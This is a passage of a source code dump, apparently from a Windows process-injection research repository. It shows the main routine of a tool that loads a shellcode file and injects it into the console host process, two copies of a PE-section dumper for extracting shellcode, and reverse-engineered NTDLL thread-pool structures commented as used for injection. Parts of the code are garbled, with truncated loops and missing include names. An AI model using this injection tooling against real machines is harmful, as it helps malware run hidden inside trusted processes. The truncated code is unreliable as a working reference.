CloseHandle(hp); 204 | } 205 | 206 | int main(void) { 207 | PWCHAR *argv; 208 | int argc; 209 | LPVOID payload; 210 | DWORD payloadSize; 211 | 212 | // get parameters 213 | argv = CommandLineToArgvW(GetCommandLine(), &argc); 214 | 215 | if(argc != 2) { wprintf(L"usage: chost \n"); return 0; } 216 | 217 | payloadSize = readpic(argv[1], &payload); 218 | if(payloadSize == 0) { wprintf(L"unable to read from %s\n", argv[1]); return 0; } 219 | 220 | conhostInject(payload, payloadSize); 221 | return 0; 222 | } 223 | -------------------------------------------------------------------------------- /payload/x64/xbin.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2016 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | 37 | #pragma comment (lib, "user32.lib") 38 | 39 | PBYTE img=NULL; 40 | ULONGLONG img_base; 41 | HANDLE hFile, hMap; 42 | LPBYTE lpAddress; 43 | DWORD cpu_arch, flags; 44 | 45 | // return pointer to DOS header 46 | PIMAGE_DOS_HEADER DosHdr (void) { 47 | return (PIMAGE_DOS_HEADER)lpAddress; 48 | } 49 | 50 | // return pointer to NT header 51 | PIMAGE_NT_HEADERS NtHdr (void) { 52 | return (PIMAGE_NT_HEADERS) (lpAddress + DosHdr()->e_lfanew); 53 | } 54 | 55 | // return pointer to File header 56 | PIMAGE_FILE_HEADER FileHdr (void) { 57 | return &NtHdr()->FileHeader; 58 | } 59 | 60 | // determines CPU architecture of binary 61 | BOOL is32 (void) { 62 | return FileHdr()->Machine==IMAGE_FILE_MACHINE_I386; 63 | } 64 | 65 | // determines CPU architecture of binary 66 | BOOL is64 (void) { 67 | return FileHdr()->Machine==IMAGE_FILE_MACHINE_AMD64; 68 | } 69 | 70 | // return pointer to Optional header 71 | LPVOID OptHdr (void) { 72 | return (LPVOID)&NtHdr()->OptionalHeader; 73 | } 74 | 75 | // return pointer to first section header 76 | PIMAGE_SECTION_HEADER SecHdr (void) 77 | { 78 | PIMAGE_NT_HEADERS nt=NtHdr(); 79 | 80 | return (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 81 | nt->FileHeader.SizeOfOptionalHeader); 82 | } 83 | 84 | DWORD DirSize (void) 85 | { 86 | if (is32()) { 87 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->NumberOfRvaAndSizes; 88 | } else { 89 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->NumberOfRvaAndSizes; 90 | } 91 | } 92 | 93 | DWORD SecSize (void) 94 | { 95 | return NtHdr()->FileHeader.NumberOfSections; 96 | } 97 | 98 | PIMAGE_DATA_DIRECTORY Dirs (void) 99 | { 100 | if (is32()) { 101 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->DataDirectory; 102 | } else { 103 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->DataDirectory; 104 | } 105 | } 106 | 107 | ULONGLONG ImgBase (void) 108 | { 109 | if (is32()) { 110 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->ImageBase; 111 | } else { 112 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->ImageBase; 113 | } 114 | } 115 | 116 | // valid dos header? 117 | int valid_dos_hdr (void) 118 | { 119 | PIMAGE_DOS_HEADER dos=DosHdr(); 120 | if (dos->e_magic!=IMAGE_DOS_SIGNATURE) return 0; 121 | return (dos->e_lfanew != 0); 122 | } 123 | 124 | // valid nt headers 125 | int valid_nt_hdr (void) 126 | { 127 | return NtHdr()->Signature==IMAGE_NT_SIGNATURE; 128 | } 129 | 130 | int isObj (void) { 131 | PIMAGE_DOS_HEADER dos=DosHdr(); 132 | 133 | return ((dos->e_magic==IMAGE_FILE_MACHINE_AMD64 || 134 | dos->e_magic==IMAGE_FILE_MACHINE_I386) && 135 | dos->e_sp==0); 136 | } 137 | 138 | DWORD rva2ofs (DWORD rva) { 139 | int i; 140 | 141 | PIMAGE_SECTION_HEADER sec=SecHdr(); 142 | 143 | for (i=0; i= sec[i].VirtualAddress && rva < sec[i].VirtualAddress + sec[i].SizeOfRawData) 145 | return sec[i].PointerToRawData + (rva - sec[i].VirtualAddress); 146 | } 147 | return -1; 148 | } 149 | 150 | void bin2file (char name[], BYTE bin[], DWORD len) 151 | { 152 | char fname[MAX_PATH]; 153 | 154 | wsprintf (name, "%s%i.bin", name, is32() ? 32 : 64); 155 | 156 | FILE *out=fopen (name, "wb"); 157 | if (out!=NULL) 158 | { 159 | fwrite (bin, 1, len, out); 160 | fclose (out); 161 | } 162 | } 163 | 164 | void dump_section (char fname[], char section[]) 165 | { 166 | DWORD i, ofs; 167 | PIMAGE_SECTION_HEADER sec=SecHdr(); 168 | PBYTE pRawData; 169 | 170 | for (i=0; i
\n"); 258 | return 0; 259 | } 260 | if (open_img(argv[1])) { 261 | if (isObj()) { 262 | printf ("\n[ Looks like an object file"); 263 | } else { 264 | dump_img (argv[1], argv[2]); 265 | } 266 | } 267 | close_img(); 268 | return 0; 269 | } 270 | -------------------------------------------------------------------------------- /payload/x86/xbin.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2016 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | 37 | #pragma comment (lib, "user32.lib") 38 | 39 | PBYTE img=NULL; 40 | ULONGLONG img_base; 41 | HANDLE hFile, hMap; 42 | LPBYTE lpAddress; 43 | DWORD cpu_arch, flags; 44 | 45 | // return pointer to DOS header 46 | PIMAGE_DOS_HEADER DosHdr (void) { 47 | return (PIMAGE_DOS_HEADER)lpAddress; 48 | } 49 | 50 | // return pointer to NT header 51 | PIMAGE_NT_HEADERS NtHdr (void) { 52 | return (PIMAGE_NT_HEADERS) (lpAddress + DosHdr()->e_lfanew); 53 | } 54 | 55 | // return pointer to File header 56 | PIMAGE_FILE_HEADER FileHdr (void) { 57 | return &NtHdr()->FileHeader; 58 | } 59 | 60 | // determines CPU architecture of binary 61 | BOOL is32 (void) { 62 | return FileHdr()->Machine==IMAGE_FILE_MACHINE_I386; 63 | } 64 | 65 | // determines CPU architecture of binary 66 | BOOL is64 (void) { 67 | return FileHdr()->Machine==IMAGE_FILE_MACHINE_AMD64; 68 | } 69 | 70 | // return pointer to Optional header 71 | LPVOID OptHdr (void) { 72 | return (LPVOID)&NtHdr()->OptionalHeader; 73 | } 74 | 75 | // return pointer to first section header 76 | PIMAGE_SECTION_HEADER SecHdr (void) 77 | { 78 | PIMAGE_NT_HEADERS nt=NtHdr(); 79 | 80 | return (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 81 | nt->FileHeader.SizeOfOptionalHeader); 82 | } 83 | 84 | DWORD DirSize (void) 85 | { 86 | if (is32()) { 87 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->NumberOfRvaAndSizes; 88 | } else { 89 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->NumberOfRvaAndSizes; 90 | } 91 | } 92 | 93 | DWORD SecSize (void) 94 | { 95 | return NtHdr()->FileHeader.NumberOfSections; 96 | } 97 | 98 | PIMAGE_DATA_DIRECTORY Dirs (void) 99 | { 100 | if (is32()) { 101 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->DataDirectory; 102 | } else { 103 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->DataDirectory; 104 | } 105 | } 106 | 107 | ULONGLONG ImgBase (void) 108 | { 109 | if (is32()) { 110 | return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->ImageBase; 111 | } else { 112 | return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->ImageBase; 113 | } 114 | } 115 | 116 | // valid dos header? 117 | int valid_dos_hdr (void) 118 | { 119 | PIMAGE_DOS_HEADER dos=DosHdr(); 120 | if (dos->e_magic!=IMAGE_DOS_SIGNATURE) return 0; 121 | return (dos->e_lfanew != 0); 122 | } 123 | 124 | // valid nt headers 125 | int valid_nt_hdr (void) 126 | { 127 | return NtHdr()->Signature==IMAGE_NT_SIGNATURE; 128 | } 129 | 130 | int isObj (void) { 131 | PIMAGE_DOS_HEADER dos=DosHdr(); 132 | 133 | return ((dos->e_magic==IMAGE_FILE_MACHINE_AMD64 || 134 | dos->e_magic==IMAGE_FILE_MACHINE_I386) && 135 | dos->e_sp==0); 136 | } 137 | 138 | DWORD rva2ofs (DWORD rva) { 139 | int i; 140 | 141 | PIMAGE_SECTION_HEADER sec=SecHdr(); 142 | 143 | for (i=0; i= sec[i].VirtualAddress && rva < sec[i].VirtualAddress + sec[i].SizeOfRawData) 145 | return sec[i].PointerToRawData + (rva - sec[i].VirtualAddress); 146 | } 147 | return -1; 148 | } 149 | 150 | void bin2file (char name[], BYTE bin[], DWORD len) 151 | { 152 | char fname[MAX_PATH]; 153 | 154 | wsprintf (name, "%s%i.bin", name, is32() ? 32 : 64); 155 | 156 | FILE *out=fopen (name, "wb"); 157 | if (out!=NULL) 158 | { 159 | fwrite (bin, 1, len, out); 160 | fclose (out); 161 | } 162 | } 163 | 164 | void dump_section (char fname[], char section[]) 165 | { 166 | DWORD i, ofs; 167 | PIMAGE_SECTION_HEADER sec=SecHdr(); 168 | PBYTE pRawData; 169 | 170 | for (i=0; i
\n"); 258 | return 0; 259 | } 260 | if (open_img(argv[1])) { 261 | if (isObj()) { 262 | printf ("\n[ Looks like an object file"); 263 | } else { 264 | dump_img (argv[1], argv[2]); 265 | } 266 | } 267 | close_img(); 268 | return 0; 269 | } 270 | -------------------------------------------------------------------------------- /ntlib/nttpp.h: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2019 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | /** 31 | These structures were reverse engineered and are not an accurate representation 32 | of thread pool structures. They are based on analyzing private API in NTDLL.dll 33 | 34 | Use with caution. - odzhan 35 | Last updated: March 2019 36 | */ 37 | #ifndef TPP_H 38 | #define TPP_H 39 | 40 | #include "../NTlib/ntddk.h" 41 | 42 | typedef struct _TP_ALPC *PTP_ALPC; 43 | 44 | typedef void (WINAPI *PTP_ALPC_CALLBACK)(PTP_CALLBACK_INSTANCE Instance, 45 | LPVOID Context, PTP_ALPC TpAlpc, LPVOID Reserved); 46 | 47 | typedef struct _TP_SIMPLE_CALLBACK { 48 | PVOID Function; 49 | PVOID Context; 50 | } TP_SIMPLE_CALLBACK; 51 | 52 | typedef struct _TP_CLEANUP_GROUP { 53 | ULONG Version; 54 | SRWLOCK Lock; 55 | LIST_ENTRY GroupList1; 56 | PTP_SIMPLE_CALLBACK FinalizationCallback; 57 | LIST_ENTRY GroupList2; 58 | ULONG64 Unknown1; 59 | LIST_ENTRY GroupList3; 60 | } TP_CLEANUP_GROUP, *PTP_CLEANUP_GROUP; 61 | 62 | typedef struct _TP_CALLBACK_OBJECT { 63 | ULONG RefCount; 64 | PVOID CleanupGroupMember; 65 | PTP_CLEANUP_GROUP CleanupGroup; 66 | PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; 67 | PTP_SIMPLE_CALLBACK FinalizationCallback; 68 | LIST_ENTRY WorkList; 69 | ULONG64 Barrier; 70 | ULONG64 Unknown1; 71 | SRWLOCK SharedLock; 72 | TP_SIMPLE_CALLBACK Callback; 73 | PACTIVATION_CONTEXT ActivationContext; 74 | ULONG64 SubProcessTag; 75 | GUID ActivityId; 76 | BOOL WorkingOnBehalfTicket; 77 | PVOID RaceDll; 78 | PTP_POOL Pool; 79 | LIST_ENTRY GroupList; 80 | ULONG Flags; 81 | TP_SIMPLE_CALLBACK CallerAddress; 82 | TP_CALLBACK_PRIORITY CallbackPriority; 83 | } TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT; 84 | 85 | typedef struct _TP_POOL { 86 | ULONG64 RefCount; 87 | ULONG64 Version; 88 | LIST_ENTRY NumaRelatedList; 89 | LIST_ENTRY PoolList; 90 | PVOID NodeList; 91 | 92 | HANDLE WorkerFactory; 93 | HANDLE IoCompletion; 94 | SRWLOCK PoolLock; 95 | LIST_ENTRY UnknownList1; 96 | LIST_ENTRY UnknownList2; 97 | 98 | } TP_POOL, *PTP_POOL; 99 | 100 | typedef struct _TP_WORK { 101 | TP_CALLBACK_OBJECT CallbackObject; 102 | PVOID TaskId; 103 | ULONG64 Unknown[4]; 104 | } TP_WORK, *PTP_WORK; 105 | 106 | typedef struct _TP_TIMER { 107 | TP_CALLBACK_OBJECT CallBackObject; 108 | PVOID TaskId; 109 | ULONG64 Unknown1; 110 | LIST_ENTRY UnknownList1; 111 | ULONG Unknown2; 112 | SRWLOCK TimerLock; 113 | LIST_ENTRY UnknownList2; 114 | LIST_ENTRY UnknownList3; 115 | ULONG64 TimerDueTime; 116 | LIST_ENTRY UnknownList4; 117 | LIST_ENTRY UnknownList5; 118 | LIST_ENTRY UnknownList6; 119 | ULONG64 Unknown3; 120 | ULONG WindowLength; 121 | ULONG TimePeriod; 122 | BOOLEAN bFlag1; 123 | BOOLEAN bFlag2; 124 | BOOLEAN bFlag3; 125 | BOOLEAN bFlag4; 126 | BOOLEAN bFlag5; 127 | BOOLEAN bFlag6; 128 | BOOLEAN bFlag7; 129 | BOOLEAN bFlag8; 130 | } TP_TIMER, *PTP_TIMER; 131 | 132 | typedef struct _TP_ALPC { 133 | PVOID TaskId; 134 | ULONG NumaRelated1[2]; 135 | LIST_ENTRY CleanupGroupList; 136 | PTP_SIMPLE_CALLBACK FinalizationCallback; 137 | LIST_ENTRY AlpcList; 138 | PVOID ExecuteCallback; 139 | ULONG NumaRelated2[2]; 140 | TP_CALLBACK_OBJECT CallbackObject; 141 | HANDLE Port; 142 | HANDLE Semaphore; 143 | ULONG NumaRelated; 144 | ULONG Flag; 145 | } TP_ALPC, *PTP_ALPC; 146 | 147 | typedef struct _TP_CALLBACK_INSTANCE { 148 | ULONG64 Unknown1[10]; 149 | ULONG64 SubProcessTag; 150 | TP_SIMPLE_CALLBACK Callback; 151 | ULONG64 Unknown2[4]; 152 | PVOID TpWork; // PTP_ALPC for print spooler 153 | ULONG64 Unknown3[3]; 154 | HMODULE Dll; 155 | PTP_TIMER Timer; 156 | PTP_CALLBACK_OBJECT CallbackObject; 157 | } TP_CALLBACK_INSTANCE, *PTP_CALLBACK_INSTANCE; 158 | 159 | typedef struct _TP_WORKER_LIST { 160 | LIST_ENTRY TppWorkerpList; 161 | LIST_ENTRY TppPoolList; 162 | ULONG64 Unknown1; 163 | ULONG64 ThreadId; 164 | PTP_POOL Pool; 165 | BYTE Unknown[248]; 166 | } TP_WORKER_LIST, *PTP_WORKER_LIST; 167 | 168 | typedef struct _TP_POOL_CALLBACK { 169 | TP_SIMPLE_CALLBACK Callback; 170 | ULONG64 SubProcessTag; 171 | ULONG64 TimeRelated; 172 | } TP_POOL_CALLBACK, *PTP_POOL_CALLBACK; 173 | 174 | typedef struct _TP_POOL_DATA { 175 | PTP_WORKER_LIST Workers; 176 | ULONG PoolStatus; 177 | ULONG RefCount; 178 | ULONG64 CallbackCount; 179 | ULONG64 TimeRelated; 180 | TP_POOL_CALLBACK CallbackArray[2]; 181 | ULONG64 Reserved[5]; 182 | } TP_POOL_DATA, *PTP_POOL_DATA; 183 | 184 | #endif --------------------------------------------------------------------------------